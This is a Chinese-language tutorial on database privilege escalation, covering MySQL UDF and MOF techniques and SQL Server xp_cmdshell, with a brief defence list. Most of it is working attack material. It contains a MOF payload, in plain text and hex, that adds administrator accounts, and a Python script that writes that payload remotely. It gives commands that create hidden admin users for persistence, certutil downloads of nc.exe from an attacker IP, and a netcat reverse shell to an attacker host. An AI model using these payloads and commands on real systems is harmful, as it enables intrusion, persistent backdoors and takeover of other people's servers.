sql提权

MySQL提权

MySQL数据库的提权主要分为两种:Mof和UDF(常用)

UDF提权

UDF全称为user defined function,用户自定义函数

用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数

UDF提权的作用

渗透过程中,拿下一台低权限的主机shell(尤其是windows)时,有些操作无法进行,而此时本地恰好存在mysql数据库,且mysql是root权限 (windows中mysql一般都是管理员权限),就可以通过新建管理员用户等操作实现提权即udf提权,也可以称为通过mysql获得管理员权限

UDF提权条件:

条件 要求 含义 检查命令
1. MySQL高权限账号 root 或有 FILE + CREATE FUNCTION 权限 需要能执行文件读写操作的账户。FILE权限允许读写服务器文件,CREATE FUNCTION权限允许创建自定义函数。普通用户通常没有这些权限,只有DBA或root才有。 SELECT user(); SELECT file_priv FROM mysql.user WHERE user=USER();
2. secure_file_priv 为空 不能是 NULL 或具体路径 这个是MySQL的安全开关。为空表示”无限制”,可以向任何目录写文件;如果是具体路径(如/tmp/)就只能写那个目录;如果是NULL则完全禁止读写文件。UDF提权需要向插件目录写DLL,所以必须是空。 SHOW VARIABLES LIKE 'secure_file_priv';
3. plugin_dir 可写 MySQL服务进程有权限写入插件目录 即使secure_file_priv为空,如果MySQL进程没有操作系统的写入权限,也无法创建文件。需要确保MySQL运行账户(Windows上是NETWORK SERVICELocalSystem,Linux上是mysql用户)对插件目录有写权限。 SHOW VARIABLES LIKE 'plugin_dir'; 手动测试:SELECT 'test' INTO DUMPFILE 'plugin目录/test.txt';
4. MySQL版本 5.1及以上:使用plugin_dir 5.0及以下:导出到系统目录 MySQL 5.1引入了插件目录plugin_dir,UDF文件必须放这里。5.0及以下版本没有这个目录,需要把DLL导出到系统目录(如Windows的system32或Linux的/usr/lib)。不同版本导出路径完全不同。 SELECT version();
5. 操作系统兼容 Windows用.dll,Linux用.so,且位数匹配 UDF文件是编译好的动态链接库,Windows上是.dll,Linux上是.so。32位的MySQL只能加载32位的UDF,64位MySQL只能加载64位的UDF。位数不匹配会报错errno: 193(文件格式无效)。 SHOW VARIABLES LIKE 'version_compile_machine';(x86=32位,x86_64=64位)

(可以看到这里的secure_file_priv为空,能进行UDF提权)

动态链接库

动态链接库:是把程序代码中会使用的函数编译成机器码,保存在.dll文件中。在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用

:在linux中对应为so文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
查询插件目录:

show variables like '%plugin%'


show variables:
这是 MySQL 的命令,用于显示系统变量的当前值。这些变量控制着 MySQL 服务器的运行方式(如缓冲区大小、超时时间、字符集等)

like '%plugin%':
这是一个过滤条件

% 是通配符,代表任意字符(包括零个字符)

'%plugin%' 表示筛选出变量名中任意位置包含 "plugin" 这个单词的变量

输出结果:

Variable_name Value
basedir /usr (MySQL 安装目录,下面会有 plugin 子目录)
plugin_dir /usr/lib/mysql/plugin (插件存放的目录路径,动态链接库的专用目录)
default_authentication_plugin caching_sha2_password (默认的身份验证插件)
group_replication_group_name (如果使用了组复制插件)

动态链接库文件:

dll文件上传路径

udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:

版本 路径
MySQL < 5.0 导出路径随意
5.0 <= MySQL < 5.1 需要导出至目标服务器的系统目录(如:C:\windows\system32\)
5.1 < MySQL 必须导出到MySQL安装目录下的lib\plugin目录下(高版本mysql默认不存在lib\plugin目录,需要自己创建)

版本大于5.1的时候,lib\plugin文件夹的创建方法:

1
2
3
4
5
6
7
8
select @@basedir;
#查找到mysql的目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
#利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
#利用NTFS ADS创建plugin目录

获取dll文件和上传至相应目录下

1.可使用sqlmap获取dll文件

2.可使用msf获取

3.上传dll文件

  • 创建一张临时表用来存放DLL/SO文件的十六进制内容

    1
    CREATE TABLE temp_udf(udf blob);
  • 插入

    转化成十六进制方法很多这里我们使用mysql

    1
    select hex(load_file('C:/udf,dll')) into dumpfile 'c:/udf.txt';

    :outfile导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作

  • 插入

    其中$binaryCode为已经转换好的十六进制内容,$binarycode前加0X

    1
    INSERT into temp_udf values (CONVERT($binaryCode,CHRA));
  • 导出

    将udf文件导出至对应位置:

    1
    SELECT * FROM temp_udf INTO DUMPFILE "/usr/lib64/mysql/plugins/udf.dll";

    :此时如果出现了错误Can’t create/write to file是因为没有lib/plugin目录into dumpfile也不能创建文件夹所以报错

注册该函数

1
2
3
CREATE FUNCTION 函数名
RETURNS {STRING|INTEGER|REAL|DECIMAL}
SONAME 'DLL文件名.dll';

使用函数

例如注册了sys_eval函数,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数

1
2
3
4
5
6
7
8
9
10
11
12
SELECT sys_eval('你要执行的系统命令');

1. 查看当前用户 SELECT sys_eval('whoami');
2. 查看系统信息 SELECT sys_eval('systeminfo');
3. 查看IP配置 SELECT sys_eval('ipconfig');
4. 查看进程列表 SELECT sys_eval('tasklist');
5. 查看网络连接 SELECT sys_eval('netstat -an');
6. 添加系统用户(需要管理员权限) SELECT sys_eval('net user hacker 123456 /add');
7. 将用户加入管理员组 SELECT sys_eval('net localgroup administrators hacker /add');
8. 查看用户列表 SELECT sys_eval('net user');
9. 删除用户 SELECT sys_eval('net user hacker /delete');
10. 查看当前目录 SELECT sys_eval('dir C:\\');

工具使用

当得到对方mysql数据库的账号和数据库密码时,填写host和账号密码数据库类型(DB),可直接连接对方的数据库,连接后:

可在下方自带命令这里选择想要导出的moonudf.dll文件中的命令,比如这里选择了sys_eval,将dll文件绑定sys_eval函数,将其导出到指定插件文件目录(这里是D:/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin//moonudf.dll) ,导出后 对方数据库的插件目录下就会出现我们导出的moonudf.dll文件

在对方数据库下注册该moonudf.dll:

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'moonudf.dll';

注册成功后就能使用我们事先编译好的sys_eval函数进行提权了

1
2
3
4
5
6
7
8
9
10
11
12
SELECT sys_eval('你要执行的系统命令');

1. 查看当前用户 SELECT sys_eval('whoami');
2. 查看系统信息 SELECT sys_eval('systeminfo');
3. 查看IP配置 SELECT sys_eval('ipconfig');
4. 查看进程列表 SELECT sys_eval('tasklist');
5. 查看网络连接 SELECT sys_eval('netstat -an');
6. 添加系统用户(需要管理员权限) SELECT sys_eval('net user hacker 123456 /add');
7. 将用户加入管理员组 SELECT sys_eval('net localgroup administrators hacker /add');
8. 查看用户列表 SELECT sys_eval('net user');
9. 删除用户 SELECT sys_eval('net user hacker /delete');
10. 查看当前目录 SELECT sys_eval('dir C:\\');

示例:这里执行了select sys_eval(‘whoami’);

也可在工具中直接执行命令:

UDF提权流程:

步骤 做什么 核心命令
1 获取MySQL高权限账号 拿到root密码(获取对方数据库账号和密码)
2 检查环境 SHOW VARIABLES LIKE 'secure_file_priv'(必须为空)
3 准备UDF文件 编译好的DLL(内含sys_eval函数)
4 上传DLL到插件目录 SELECT ... INTO DUMPFILE 'plugin目录/moonudf.dll'
5 注册函数 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'moonudf.dll'
6 执行系统命令 SELECT sys_eval('whoami')
1
MySQL高权限账号 → 写DLL到插件目录 → 注册函数 → 调用函数执行系统命令 → 提权成功

mof提权

mof简介:

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在windows 2003及更低版本windows中,nullevt.mof文件存储在c:/windows/system32/wbem/mof/目录下,windows系统每隔五秒就会以system权限执行一次该文件,去监控进程创建和死亡,执行成功会移动到该目录下的good文件夹,执行失败移动到bad文件夹

原理

把恶意MOF文件写入C:\Windows\System32\wbem\mof\目录,Windows会自动以SYSTEM权限执行它。

利用条件

mof提权需要在system32文件夹下写文件,条件较为严苛:

  • windows 2003及以下版本
  • mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  • secure_file_priv参数不为null

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user L1uxsn admin123 /add\")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

在添加用户之后,还需要将用户加入本地管理员组,将脚本中的net.exe user L1uxsn admin123 /add\换成:

1
net localgroup Administrators L1uxsn /add

脚本文件的上传思路与udf提权类似,大概三种:

  • 直接上传然后dumpfile

    1
    select load_file("C:/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
  • 直接将脚本的16进制编码dumpfile

    1
    select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e65786520757365722061646d696e2061646d696e202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';
  • 数据库允许远程链接的情况下可以使用py写入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    #Python3

    import MySQLdb

    conn=MySQLdb.connect(host="192.168.111.6",user="root",passwd="root")

    payload = r'''
    #pragma namespace("\\\\.\\root\\subscription")
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };

    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
    };

    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
    '''

    ascii_payload = ''

    for each_chr in payload:
    ascii_payload += str(ord(each_chr)) + ','

    ascii_payload = ascii_payload[:-1]

    cur = conn.cursor()
    sql = "select char(%s) into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload

    cur.execute(sql)
    conn.close()

注意:

服务器会每五秒会循环执行之前的mof文件中的内容,在服务器被mof提权后,需要解决系统继续运行恶意代码的问题:

1
2
3
4
5
6
7
8
net stop winmgmt
#停止winmgmt服务
rmdir /q /s c:\windows\system32\wbem\repository
#删除存储库备份
del /f /s c:\windows\system32\wbem\mof\good\nullevt.mof
#删除mof文件
net start winmgmt
#重启winmgmt服务

工具使用:

同样的连接目标数据库

进入后可直接执行命令,例如这里输入net user cong$ 12456 /add & net localgroup administrators cong$ /add (创建一个隐藏管理员用户,创建成功后即使原来的入口,如Webshell、MySQL连接被修复,仍然可以通过这个隐藏用户重新进入系统。这是权限维持的常用手段)

部分 含义
net user cong$ 12456 /add 创建一个用户名为 cong$,密码为 12456 的本地用户
& 连接符,前一条命令执行完后接着执行后面的命令
net localgroup administrators cong$ /add cong$ 用户添加到 Administrators(管理员组)

执行成功后在mof目录下发现导出成功的system.mof文件

  • 如果 MOF 文件在 good 文件夹 → 执行成功
  • 如果 MOF 文件在 bad 文件夹 → 执行失败(格式错误或系统不支持)
  • 如果 system.mof 还留在原目录 → 没有被处理(WMI 服务问题或系统不支持)

隐藏用户的利用:

利用方式 适用场景 命令/操作
远程桌面登录 Windows Server(开启了3389端口) mstsc 输入 cong$ + 密码登录
IPC$ 空会话连接 Windows主机(135、445端口开放) net use \\目标IP\ipc$ "12456" /user:"cong$"
PsExec 远程执行 Windows主机,管理员权限 psexec \\目标IP -u cong$ -p 12456 cmd
计划任务创建 需要定时执行命令 schtasks /create /s 目标IP /u cong$ /p 12456 ...
WMI 远程控制 Windows主机 wmic /node:目标IP /user:cong$ /password:12456 process call create "cmd.exe"
SMB 文件共享访问 需要访问共享文件 net use Z: \\目标IP\share /user:cong$ 12456

防御手段

从上面提到的提权过程可以知道,这些权限提升基本都是mysql的配置不当导致的,因此,可以有如下防御措施:

  • 降低数据库服务启动用户的权限
  • 如果非必要,可以删除插件目录或限制插件目录的权限
  • 正确配置secure_file_priv变量

SQL server提权

常见的 SQL Server 提权方式

方式 原理 关键条件
存储过程执行命令 利用 xp_cmdshellxp_regwrite 等高危存储过程执行系统命令。 SQL Server 服务账户(如 NT SERVICE\MSSQLSERVER)需要有较高权限;xp_cmdshell 通常默认禁用,但可能被管理员误开启。
CLR 程序集 上传并执行 C# 等编写的 .NET 代码(CLR 程序集),运行系统命令。 需要 sysadmin 权限开启 CLR;SQL Server 2017+ 默认禁用。
代理作业 (SQL Agent Job) 创建 SQL Server Agent 作业,以服务账户权限执行命令。 SQL Server Agent 服务正在运行;用户有创建作业的权限。
OLE 自动化 利用 sp_OACreatesp_OAMethod 等存储过程创建 COM 对象(如 WScript.Shell)执行命令。 相关存储过程默认禁用,需手动开启。
沙盒模式绕过 利用 Access 链接服务器或 Jet 引擎的沙盒模式配置缺陷执行任意代码。 通常出现在较旧版本(2000、2005)或配置不当的环境。
数据库链接服务器 通过已配置的链接服务器,跳转到其他更高权限的数据库实例。 存在链接到高权限服务器的配置。

条件:

  1. 服务器开启数据库服务
  2. 获取到最高权限用户密码
    (除Access数据库外,其他数据库基本都存在数据库提权的可能)

xp_cmdshell

简介:xp_cmdshell 是 SQL Server 中一个扩展存储过程,它的全称是 Extended Procedure for Command Shell。它的核心功能只有一个:允许 T-SQL 语句直接执行 Windows 操作系统的命令

简单来说,就是让你在 SQL Server 的查询窗口里,像在 CMD 命令行里一样,运行 ipconfigwhoaminet user 等任何系统命令

查看 xp_cmdshell 状态: EXEC sp_configure 'xp_cmdshell';

列名 含义
name xp_cmdshell 配置项名称
minimum 0 最小值可以是0
maximum 1 最大值只能是1(开关型配置)
config_value 1 当前设置的值(你配置成什么)
run_value 1 当前正在运行的值(实际生效的值)

具体利用步骤:

  • 1.探测是否有权限开启/使用 xp_cmdshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-- 1. 检查当前用户是否为 sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

-- 2. 如果返回 1,检查 xp_cmdshell 当前状态
EXEC sp_configure 'xp_cmdshell';

-- 3. 如果值为 0,尝试开启(需要sysadmin权限)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

sp_configure:这是 SQL Server 用来管理配置选项的一个系统存储过程。

show advanced options:这是一个“总开关”。在 SQL Server 里,很多配置选项默认是隐藏的,防止被随意修改。只有把这个选项设为 1(开启),我们才能看到并修改那些高级设置。

RECONFIGURE:这条指令告诉 SQL Server,“让刚才的配置修改立刻生效”。

  • 2.执行系统命令(信息收集)
1
2
3
4
5
6
7
8
9
-- 收集服务器基本信息
EXEC xp_cmdshell 'whoami'; -- 当前用户
EXEC xp_cmdshell 'hostname'; -- 计算机名
EXEC xp_cmdshell 'ipconfig /all'; -- 网络配置
EXEC xp_cmdshell 'systeminfo'; -- 系统详细信息
EXEC xp_cmdshell 'tasklist'; -- 正在运行的进程

-- 收集SQL Server信息
EXEC xp_cmdshell 'sqlcmd -Q "SELECT @@VERSION"'; -- 数据库版本

如图,这里利用了xp_cmdshell查询了计算机名和网络配置信息

  • 3.上传工具或建立后门

    如果服务账户有写权限,攻击者可以:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    -- 下载恶意程序(使用certutil或bitsadmin)
    EXEC xp_cmdshell 'certutil -urlcache -f http://攻击者IP/nc.exe C:\temp\nc.exe';

    -- 执行反弹shell
    EXEC xp_cmdshell 'C:\temp\nc.exe 攻击者IP 4444 -e cmd.exe';

    -- 添加用户(如果权限够)
    EXEC xp_cmdshell 'net user backdoor P@ssw0rd /add';
    EXEC xp_cmdshell 'net localgroup administrators backdoor /add';

    -- 开启远程桌面
    EXEC xp_cmdshell 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f';

    -- 创建计划任务持久化
    EXEC xp_cmdshell 'schtasks /create /tn "SystemCheck" /tr "C:\temp\backdoor.exe" /sc daily /st 09:00 /f';

反弹shell具体释义:

C:\temp\nc.exe 192.168.134.128 4444 -e cmd.exe

部分 含义 作用
C:\temp\nc.exe 工具 (Netcat) 这是一个网络工具,像一根“网线”,负责在网络上发送和接收数据。
192.168.134.128 攻击者的IP地址 这是你要连接的“目的地”,也就是你的Kali Linux电脑。
4444 端口号 这像一扇“门”。攻击者的电脑必须在这扇“门”上等着,连接才能成功。
-e 参数 这是Netcat的一个关键选项,意思是“执行” (execute)。
cmd.exe 程序 这是Windows的命令解释器,也就是我们常说的“黑框框”命令行。
1
2
3
4
5
6
7
8
9
10
1.目标服务器上是没有C:\temp\nc.exe这个文件的,所以要利用这个命令就先要在自己的kali上面开启python服务 (python3 -m http.server 80)

2.利用xp_cmdshell下载nc.exe这个文件(EXEC xp_cmdshell 'certutil -urlcache -f http://192.168.134.128/nc.exe
C:\Users\Public\nc.exe';)

3.再在kali上面监听端口(nc -lvp 4444)

4.最后利用xp_cmdshell进行反弹shell (EXEC xp_cmdshell 'cmd /c C:\temp\nc.exe -e cmd.exe 192.168.134.128 4444';)

注:进行连接时要把kali的防火墙关掉,不然连不上(sudo ufw disable),重新开启(sudo ufw enable)

(这里可以看到已经连接上了我的mssqlserver数据库上了)

注:Kali Linux 预装了Windows版本的 nc.exe,路径是:/usr/share/windows-binaries/nc.exe

攻击思路一般是:

1
SQL注入点 → 判断权限是否为sysadmin → 开启xp_cmdshell → 执行系统命令 → 控制服务器